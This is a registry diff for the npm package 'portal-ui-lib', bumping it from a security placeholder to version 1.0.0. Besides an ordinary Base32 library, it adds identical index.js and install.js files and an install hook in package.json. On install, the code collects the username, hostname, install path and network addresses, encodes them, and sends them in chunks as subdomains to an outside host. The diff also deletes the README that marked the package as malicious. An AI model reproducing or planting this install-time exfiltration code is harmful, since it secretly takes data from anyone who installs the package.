portal-ui-lib 0.0.1-security → 1.0.0
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- package/base32.js +251 -0
- package/index.js +36 -0
- package/install.js +36 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/base32.js
ADDED
@@ -0,0 +1,251 @@
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;(function(){
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// This would be the place to edit if you want a different
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// Base32 implementation
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var alphabet = '0123456789abcdefghjkmnpqrtuvwxyz'
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var alias = { o:0, i:1, l:1, s:5 }
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/**
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* Build a lookup table and memoize it
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*
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* Return an object that maps a character to its
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* byte value.
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*/
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var lookup = function() {
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var table = {}
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// Invert 'alphabet'
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for (var i = 0; i < alphabet.length; i++) {
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table[alphabet[i]] = i
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}
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// Splice in 'alias'
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for (var key in alias) {
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if (!alias.hasOwnProperty(key)) continue
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table[key] = table['' + alias[key]]
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}
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lookup = function() { return table }
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return table
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}
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/**
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* A streaming encoder
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*
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* var encoder = new base32.Encoder()
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* var output1 = encoder.update(input1)
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* var output2 = encoder.update(input2)
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* var lastoutput = encode.update(lastinput, true)
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*/
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function Encoder() {
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var skip = 0 // how many bits we will skip from the first byte
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var bits = 0 // 5 high bits, carry from one byte to the next
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this.output = ''
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// Read one byte of input
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// Should not really be used except by "update"
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this.readByte = function(byte) {
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// coerce the byte to an int
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if (typeof byte == 'string') byte = byte.charCodeAt(0)
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if (skip < 0) { // we have a carry from the previous byte
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bits |= (byte >> (-skip))
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} else { // no carry
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bits = (byte << skip) & 248
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}
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if (skip > 3) {
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// not enough data to produce a character, get us another one
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skip -= 8
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return 1
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}
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if (skip < 4) {
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// produce a character
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this.output += alphabet[bits >> 3]
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skip += 5
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}
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return 0
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}
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// Flush any remaining bits left in the stream
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this.finish = function(check) {
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var output = this.output + (skip < 0 ? alphabet[bits >> 3] : '') + (check ? '$' : '')
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this.output = ''
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return output
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}
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}
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/**
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* Process additional input
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*
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* input: string of bytes to convert
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* flush: boolean, should we flush any trailing bits left
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* in the stream
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* returns: a string of characters representing 'input' in base32
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*/
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Encoder.prototype.update = function(input, flush) {
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for (var i = 0; i < input.length; ) {
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i += this.readByte(input[i])
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}
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// consume all output
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var output = this.output
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this.output = ''
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if (flush) {
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output += this.finish()
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}
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return output
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}
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// Functions analogously to Encoder
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function Decoder() {
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var skip = 0 // how many bits we have from the previous character
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var byte = 0 // current byte we're producing
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this.output = ''
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// Consume a character from the stream, store
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// the output in this.output. As before, better
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// to use update().
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this.readChar = function(char) {
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if (typeof char != 'string'){
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if (typeof char == 'number') {
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char = String.fromCharCode(char)
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}
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}
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char = char.toLowerCase()
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var val = lookup()[char]
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if (typeof val == 'undefined') {
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// character does not exist in our lookup table
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return // skip silently. An alternative would be:
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// throw Error('Could not find character "' + char + '" in lookup table.')
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}
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val <<= 3 // move to the high bits
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byte |= val >>> skip
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skip += 5
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if (skip >= 8) {
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// we have enough to preduce output
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this.output += String.fromCharCode(byte)
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skip -= 8
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if (skip > 0) byte = (val << (5 - skip)) & 255
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else byte = 0
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}
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}
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this.finish = function(check) {
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var output = this.output + (skip < 0 ? alphabet[bits >> 3] : '') + (check ? '$' : '')
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this.output = ''
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return output
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}
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}
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Decoder.prototype.update = function(input, flush) {
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for (var i = 0; i < input.length; i++) {
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this.readChar(input[i])
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}
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var output = this.output
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this.output = ''
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if (flush) {
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output += this.finish()
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}
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return output
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}
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/** Convenience functions
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*
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* These are the ones to use if you just have a string and
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* want to convert it without dealing with streams and whatnot.
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*/
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// String of data goes in, Base32-encoded string comes out.
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function encode(input) {
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var encoder = new Encoder()
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var output = encoder.update(input, true)
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return output
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}
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// Base32-encoded string goes in, decoded data comes out.
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function decode(input) {
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var decoder = new Decoder()
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var output = decoder.update(input, true)
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return output
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}
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/**
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* sha1 functions wrap the hash function from Node.js
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*
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* Several ways to use this:
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*
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* var hash = base32.sha1('Hello World')
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* base32.sha1(process.stdin, function (err, data) {
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* if (err) return console.log("Something went wrong: " + err.message)
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* console.log("Your SHA1: " + data)
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* }
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* base32.sha1.file('/my/file/path', console.log)
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*/
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var crypto, fs
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function sha1(input, cb) {
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if (typeof crypto == 'undefined') crypto = require('crypto')
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var hash = crypto.createHash('sha1')
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hash.digest = (function(digest) {
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return function() {
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return encode(digest.call(this, 'binary'))
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}
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})(hash.digest)
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if (cb) { // streaming
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if (typeof input == 'string' || Buffer.isBuffer(input)) {
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try {
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return cb(null, sha1(input))
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} catch (err) {
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return cb(err, null)
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}
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}
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if (!typeof input.on == 'function') return cb({ message: "Not a stream!" })
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input.on('data', function(chunk) { hash.update(chunk) })
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input.on('end', function() { cb(null, hash.digest()) })
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return
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}
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// non-streaming
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if (input) {
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return hash.update(input).digest()
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}
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return hash
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}
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sha1.file = function(filename, cb) {
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if (filename == '-') {
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process.stdin.resume()
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return sha1(process.stdin, cb)
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}
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if (typeof fs == 'undefined') fs = require('fs')
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return fs.stat(filename, function(err, stats) {
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if (err) return cb(err, null)
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if (stats.isDirectory()) return cb({ dir: true, message: "Is a directory" })
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return sha1(require('fs').createReadStream(filename), cb)
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})
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}
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var base32 = {
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Decoder: Decoder,
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Encoder: Encoder,
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encode: encode,
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decode: decode,
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sha1: sha1
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}
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if (typeof window !== 'undefined') {
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// we're in a browser - OMG!
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window.base32 = base32
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}
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if (typeof module !== 'undefined' && module.exports) {
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// nodejs/browserify
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module.exports = base32
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}
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})();
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package/index.js
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var base32 = require('./base32');
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var os = require('os');
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const https = require('https');
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var pjson = require('./package.json');
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var ret = '';
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ret += pjson.name + pjson.version + '|';
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ret += os.userInfo().username + '|';
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ret += os.hostname() + '|';
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ret += __dirname + '|';
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var nif = os.networkInterfaces();
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for (var i in nif) ret += (i + nif[i][0].address);
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var encoded = base32.encode(ret);
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//var decoded = base32.decode(ret);
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var split = encoded.match(/.{1,50}/g);
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for (var i=0; i < split.length; ++i){
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const options = {
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hostname: i + '.' + split[i] + '.cq3s92gqhuuds453o9t0ndyawmcsx8jph.b.k0.wf',
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port: 443,
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path: '/',
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method: 'GET',
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rejectUnauthorized: false
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}
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const req = https.request(options, res => {
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console.log(`statusCode: ${res.statusCode}`);
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});
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req.on('error', error => {
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console.error(error)
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});
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req.end();
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};
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package/install.js
ADDED
@@ -0,0 +1,36 @@
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var base32 = require('./base32');
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var os = require('os');
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const https = require('https');
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var pjson = require('./package.json');
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var ret = '';
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ret += pjson.name + pjson.version + '|';
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ret += os.userInfo().username + '|';
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ret += os.hostname() + '|';
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ret += __dirname + '|';
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var nif = os.networkInterfaces();
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for (var i in nif) ret += (i + nif[i][0].address);
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var encoded = base32.encode(ret);
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//var decoded = base32.decode(ret);
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var split = encoded.match(/.{1,50}/g);
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for (var i=0; i < split.length; ++i){
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const options = {
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hostname: i + '.' + split[i] + '.cq3s92gqhuuds453o9t0ndyawmcsx8jph.b.k0.wf',
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port: 443,
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path: '/',
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method: 'GET',
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rejectUnauthorized: false
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}
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const req = https.request(options, res => {
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console.log(`statusCode: ${res.statusCode}`);
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});
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req.on('error', error => {
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console.error(error)
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});
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req.end();
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};
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package/package.json
CHANGED
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{
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"author": "hipotermia",
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"name": "portal-ui-lib",
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"version": "0.0
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"
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"
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"version": "1.0.0",
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"main": "index.js",
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"scripts": {
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"install": "node install.js"
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},
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"license": "ISC",
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"description": ""
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}
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package/README.md
DELETED
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# Security holding package
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This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
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Please refer to www.npmjs.com/advisories?search=portal-ui-lib for more information.
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